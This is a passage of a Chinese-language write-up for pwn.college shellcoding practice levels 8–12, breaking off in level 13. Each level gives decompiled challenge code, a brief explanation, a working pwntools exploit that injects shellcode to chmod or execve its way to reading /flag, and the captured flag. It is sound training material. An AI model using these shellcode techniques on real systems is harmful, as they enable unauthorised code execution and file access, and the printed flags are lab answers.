&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+2Ch] [rbp-14h]
  const char **i; // [rsp+30h] [rbp-10h]
  const char **j; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x205B4000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)542851072 )
    __assert_fail(&quot;shellcode == (void *)0x205b4000&quot;, &quot;/challenge/babyshell-level-8.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x205B4000);
  puts(&quot;Reading 0x12 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x12uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-8.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;Removing write permissions from first 4096 bytes of shellcode.\n&quot;);
  if ( mprotect(shellcode, 0x1000uLL, 5) )
    __assert_fail(
      &quot;mprotect(shellcode, 4096, PROT_READ|PROT_EXEC) == 0&quot;,
      &quot;/challenge/babyshell-level-8.c&quot;,
      0x6Au,
      &quot;main&quot;);
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_251D);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题在读取数据大小上做了限制，只允许读入 18 bytes。并且读完后把 &lt;code&gt;buf&lt;/code&gt; 的写权限移除了，因此我们不能通过类似 &lt;code&gt;read&lt;/code&gt; 的这种 shellcode 把再读数据到别的地方之类的。&lt;code&gt;execve&lt;/code&gt; 肯定也不可能了，明显会超过 18 bytes。这时候我们发现 &lt;code&gt;chmod&lt;/code&gt; 是一个很不错的候选，但是不能直接对 &lt;code&gt;/flag&lt;/code&gt; 使用 &lt;code&gt;chmod&lt;/code&gt;，不然还是会超。不过既然超的原因是文件名太长，那我们不妨试试建立一个名称短一点的软链接，对软链接进行操作。实测发现对软链接使用 &lt;code&gt;chmod&lt;/code&gt; 会影响到源文件的权限。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, os, process, remote, shellcraft

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-8&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
        target.recvall(timeout=5)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = shellcraft.chmod(&quot;f&quot;, 0o4)

    return asm(shellcode)


def attack(target, payload):
    os.system(&quot;ln -s /flag f&quot;)
    send_payload(target, payload)

    try:
        with open(&quot;./f&quot;, &quot;r&quot;) as file:
            content = file.read()

            log.success(content)
    except FileNotFoundError:
        log.error(&quot;The file &apos;./f&apos; does not exist.&quot;)
    except PermissionError:
        log.error(&quot;Permission denied to read &apos;./f&apos;.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{swqZOtc9CdQUIFCMwrec4E5WBCi.0FNyIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 9&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but your input has data inserted into it before being executed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+28h] [rbp-18h]
  int k; // [rsp+2Ch] [rbp-14h]
  const char **i; // [rsp+30h] [rbp-10h]
  const char **j; // [rsp+38h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x2A207000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)706768896 )
    __assert_fail(&quot;shellcode == (void *)0x2a207000&quot;, &quot;/challenge/babyshell-level-9.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x2A207000);
  puts(&quot;Reading 0x1000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x1000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-9.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;Executing filter...\n&quot;);
  for ( k = 0; k &amp;lt; (unsigned __int64)shellcode_size; ++k )
  {
    if ( k / 10 % 2 == 1 )
      *((_BYTE *)shellcode + k) = -52;
  }
  puts(&quot;This challenge modified your shellcode by overwriting every other 10 bytes with 0xcc. 0xcc, when interpreted as an&quot;);
  puts(
    &quot;instruction is an `INT 3`, which is an interrupt to call into the debugger. You must avoid these modifications in your&quot;);
  puts(&quot;shellcode.\n&quot;);
  puts(&quot;Removing write permissions from first 4096 bytes of shellcode.\n&quot;);
  if ( mprotect(shellcode, 0x1000uLL, 5) )
    __assert_fail(
      &quot;mprotect(shellcode, 4096, PROT_READ|PROT_EXEC) == 0&quot;,
      &quot;/challenge/babyshell-level-9.c&quot;,
      0x76u,
      &quot;main&quot;);
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_2635);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题每隔 &lt;code&gt;0xa&lt;/code&gt; 字节使用 &lt;code&gt;0xa&lt;/code&gt; 个 &lt;code&gt;int3&lt;/code&gt; 中断替换 &lt;code&gt;0xa&lt;/code&gt; 字节的指令。简单吧，每隔 &lt;code&gt;0xa&lt;/code&gt; 字节给它塞 &lt;code&gt;0xa&lt;/code&gt; 个 &lt;code&gt;nop&lt;/code&gt; 好了，随它换。在此之前使用一条 &lt;code&gt;jmp&lt;/code&gt; 跳转到 &lt;code&gt;int3&lt;/code&gt; 之后确保不被 &lt;code&gt;int3&lt;/code&gt; 干扰，继续执行就好了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, os, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-9&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
        target.recvall(timeout=5)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = &quot;&quot;&quot;
    /* chmod(file=&apos;f&apos;, mode=4) */
    /* push b&apos;f\x00&apos; */
    push 0x66
    mov rdi, rsp
    push 4
    pop rsi
    /* call chmod() */
    jmp continue
    .rept 0xa
        nop
    .endr
continue:
    push 90 /* 0x5a */
    pop rax
    syscall
    &quot;&quot;&quot;

    return asm(shellcode)


def attack(target, payload):
    os.system(&quot;ln -s /flag f&quot;)
    send_payload(target, payload)

    try:
        with open(&quot;./f&quot;, &quot;r&quot;) as file:
            content = file.read()

            log.success(content)
    except FileNotFoundError:
        log.error(&quot;The file &apos;./f&apos; does not exist.&quot;)
    except PermissionError:
        log.error(&quot;Permission denied to read &apos;./f&apos;.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{YzFX3cOrT5abYZfD8oqct1wr3xc.0VNyIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 10&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but your input is sorted before being executed!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+28h] [rbp-38h]
  int k; // [rsp+2Ch] [rbp-34h]
  int m; // [rsp+30h] [rbp-30h]
  int v10; // [rsp+34h] [rbp-2Ch]
  const char **i; // [rsp+38h] [rbp-28h]
  const char **j; // [rsp+40h] [rbp-20h]
  _QWORD *v13; // [rsp+48h] [rbp-18h]
  __int64 v14; // [rsp+50h] [rbp-10h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x24AA2000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)615129088 )
    __assert_fail(&quot;shellcode == (void *)0x24aa2000&quot;, &quot;/challenge/babyshell-level-10.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x24AA2000);
  puts(&quot;Reading 0x1000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x1000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-10.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;Executing filter...\n&quot;);
  v13 = shellcode;
  v10 = ((unsigned __int64)shellcode_size &amp;gt;&amp;gt; 3) - 1;
  for ( k = 0; k &amp;lt; v10; ++k )
  {
    for ( m = 0; m &amp;lt; v10 - k - 1; ++m )
    {
      if ( v13[m] &amp;gt; v13[m + 1] )
      {
        v14 = v13[m];
        v13[m] = v13[m + 1];
        v13[m + 1] = v14;
      }
    }
  }
  puts(
    &quot;This challenge just sorted your shellcode using bubblesort. Keep in mind the impact of memory endianness on this sort&quot;);
  puts(&quot;(e.g., the LSB being the right-most byte).\n&quot;);
  printf(&quot;This sort processed your shellcode %d bytes at a time.\n&quot;, 8);
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_259D);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你的 shellcode 足够长的话会对部分指令进行冒泡排序，但是如果比较短的话这个限制就形同虚设了。这里我直接用之前的 exp 了。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, os, process, remote, shellcraft

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-10&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
        target.recvall(timeout=5)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = shellcraft.chmod(&quot;f&quot;, 0o4)

    return asm(shellcode)


def attack(target, payload):
    os.system(&quot;ln -s /flag f&quot;)
    send_payload(target, payload)

    try:
        with open(&quot;./f&quot;, &quot;r&quot;) as file:
            content = file.read()

            log.success(content)
    except FileNotFoundError:
        log.error(&quot;The file &apos;./f&apos; does not exist.&quot;)
    except PermissionError:
        log.error(&quot;Permission denied to read &apos;./f&apos;.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{g5e9JB4cUp4THYN75FdmwWgVFA3.0lNyIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 11&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but your input is sorted before being executed and stdin is closed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+28h] [rbp-38h]
  int k; // [rsp+2Ch] [rbp-34h]
  int m; // [rsp+30h] [rbp-30h]
  int v10; // [rsp+34h] [rbp-2Ch]
  const char **i; // [rsp+38h] [rbp-28h]
  const char **j; // [rsp+40h] [rbp-20h]
  _QWORD *v13; // [rsp+48h] [rbp-18h]
  __int64 v14; // [rsp+50h] [rbp-10h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x21A35000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)564350976 )
    __assert_fail(&quot;shellcode == (void *)0x21a35000&quot;, &quot;/challenge/babyshell-level-11.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x21A35000);
  puts(&quot;Reading 0x1000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x1000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-11.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;Executing filter...\n&quot;);
  v13 = shellcode;
  v10 = ((unsigned __int64)shellcode_size &amp;gt;&amp;gt; 3) - 1;
  for ( k = 0; k &amp;lt; v10; ++k )
  {
    for ( m = 0; m &amp;lt; v10 - k - 1; ++m )
    {
      if ( v13[m] &amp;gt; v13[m + 1] )
      {
        v14 = v13[m];
        v13[m] = v13[m + 1];
        v13[m + 1] = v14;
      }
    }
  }
  puts(
    &quot;This challenge just sorted your shellcode using bubblesort. Keep in mind the impact of memory endianness on this sort&quot;);
  puts(&quot;(e.g., the LSB being the right-most byte).\n&quot;);
  printf(&quot;This sort processed your shellcode %d bytes at a time.\n&quot;, 8);
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(byte_259D);
  puts(
    &quot;This challenge is about to close stdin, which means that it will be harder to pass in a stage-2 shellcode. You will need&quot;);
  puts(&quot;to figure an alternate solution (such as unpacking shellcode in memory) to get past complex filters.\n&quot;);
  if ( fclose(stdin) )
    __assert_fail(&quot;fclose(stdin) == 0&quot;, &quot;/challenge/babyshell-level-11.c&quot;, 0x7Fu, &quot;main&quot;);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就算你把 &lt;code&gt;stdin&lt;/code&gt; 也关了又如何，不还是无法阻止我使用之前的 exp 哈哈哈哈哈哈哈。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, os, process, remote, shellcraft

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-11&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
        target.recvall(timeout=5)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = shellcraft.chmod(&quot;f&quot;, 0o4)

    return asm(shellcode)


def attack(target, payload):
    os.system(&quot;ln -s /flag f&quot;)
    send_payload(target, payload)

    try:
        with open(&quot;./f&quot;, &quot;r&quot;) as file:
            content = file.read()

            log.success(content)
    except FileNotFoundError:
        log.error(&quot;The file &apos;./f&apos; does not exist.&quot;)
    except PermissionError:
        log.error(&quot;Permission denied to read &apos;./f&apos;.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{Ed61x95iAxED3sEmx4x19WauOCW.01NyIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 12&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but every byte in your input must be unique.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  size_t v4; // rax
  int fd; // [rsp+28h] [rbp-128h]
  int k; // [rsp+2Ch] [rbp-124h]
  const char **i; // [rsp+30h] [rbp-120h]
  const char **j; // [rsp+38h] [rbp-118h]
  _QWORD v11[34]; // [rsp+40h] [rbp-110h] BYREF

  v11[33] = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(
    &quot;This challenge reads in some bytes, modifies them (depending on the specific challenge configuration), and executes them&quot;);
  puts(
    &quot;as code! This is a common exploitation scenario, called `code injection`. Through this series of challenges, you will&quot;);
  puts(
    &quot;practice your shellcode writing skills under various constraints! To ensure that you are shellcoding, rather than doing&quot;);
  puts(&quot;other tricks, this will sanitize all environment variables and arguments and close all file descriptors &amp;gt; 2.\n&quot;);
  for ( fd = 3; fd &amp;lt;= 9999; ++fd )
    close(fd);
  for ( i = argv; *i; ++i )
  {
    v3 = strlen(*i);
    memset((void *)*i, 0, v3);
  }
  for ( j = envp; *j; ++j )
  {
    v4 = strlen(*j);
    memset((void *)*j, 0, v4);
  }
  shellcode = mmap((void *)0x1C246000, 0x1000uLL, 7, 34, 0, 0LL);
  if ( shellcode != (void *)472145920 )
    __assert_fail(&quot;shellcode == (void *)0x1c246000&quot;, &quot;/challenge/babyshell-level-12.c&quot;, 0x62u, &quot;main&quot;);
  printf(&quot;Mapped 0x1000 bytes for shellcode at %p!\n&quot;, (const void *)0x1C246000);
  puts(&quot;Reading 0x1000 bytes from stdin.\n&quot;);
  shellcode_size = read(0, shellcode, 0x1000uLL);
  if ( !shellcode_size )
    __assert_fail(&quot;shellcode_size &amp;gt; 0&quot;, &quot;/challenge/babyshell-level-12.c&quot;, 0x67u, &quot;main&quot;);
  puts(&quot;Executing filter...\n&quot;);
  puts(&quot;This challenge requires that every byte in your shellcode is unique!\n&quot;);
  memset(v11, 0, 256);
  for ( k = 0; k &amp;lt; (unsigned __int64)shellcode_size; ++k )
  {
    if ( *((_BYTE *)v11 + *((unsigned __int8 *)shellcode + k)) )
    {
      printf(&quot;Failed filter at byte %d!\n&quot;, k);
      exit(1);
    }
    *((_BYTE *)v11 + *((unsigned __int8 *)shellcode + k)) = 1;
  }
  puts(&quot;This challenge is about to execute the following shellcode:\n&quot;);
  print_disassembly(shellcode, shellcode_size);
  puts(&amp;amp;byte_2525);
  puts(&quot;Executing shellcode!\n&quot;);
  ((void (*)(void))shellcode)();
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就你要每一个字节都得唯一是吧，&lt;code&gt;execve&lt;/code&gt; 调用外部 shellcode 秒了！&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cdq&lt;/code&gt; 是一字节指令，有时候用来取代 &lt;code&gt;xor edx, edx&lt;/code&gt; 很不错。它的作用请参考 &lt;a href=&quot;https://www.felixcloutier.com/x86/cwd:cdq:cqo&quot;&gt;CWD/CDQ/CQO — Convert Word to Doubleword/Convert Doubleword to Quadword&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import ELF, asm, context, gdb, log, pause, process, remote

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyshell-level-12&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    shellcode = &quot;&quot;&quot;
    /* execve(path=&apos;a&apos;, argv=0, envp=0) */
    /* push b&apos;a\x00&apos; */
    push 0x61
    mov rdi, rsp
    xor esi, esi
    cdq
    /* call execve() */
    mov al, 59 /* 0x3b */
    syscall
    &quot;&quot;&quot;

    return asm(shellcode)


def attack(target, payload):
    try:
        send_payload(target, payload)

        response = target.recvall(timeout=5)

        return b&quot;pwn.college{&quot; in response
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch()
        payload = construct_payload()

        if attack(target, payload):
            log.success(&quot;Success! Exiting...&quot;)

            pause()
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们的 shellcode 的目的就是加载外部脚本完成剩余攻击步骤。注意把下面脚本编译为 &lt;code&gt;a&lt;/code&gt;（文件名）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;sys/sendfile.h&amp;gt;

int main() {
  sendfile(1, open(&quot;/flag&quot;, O_RDONLY), 0, 0x1000);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{g4UdtC88x4ayx2CjkFQNdxcSBsC.0FOyIDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 13&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write and execute shellcode to read the flag, but this time you only get 12 bytes!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
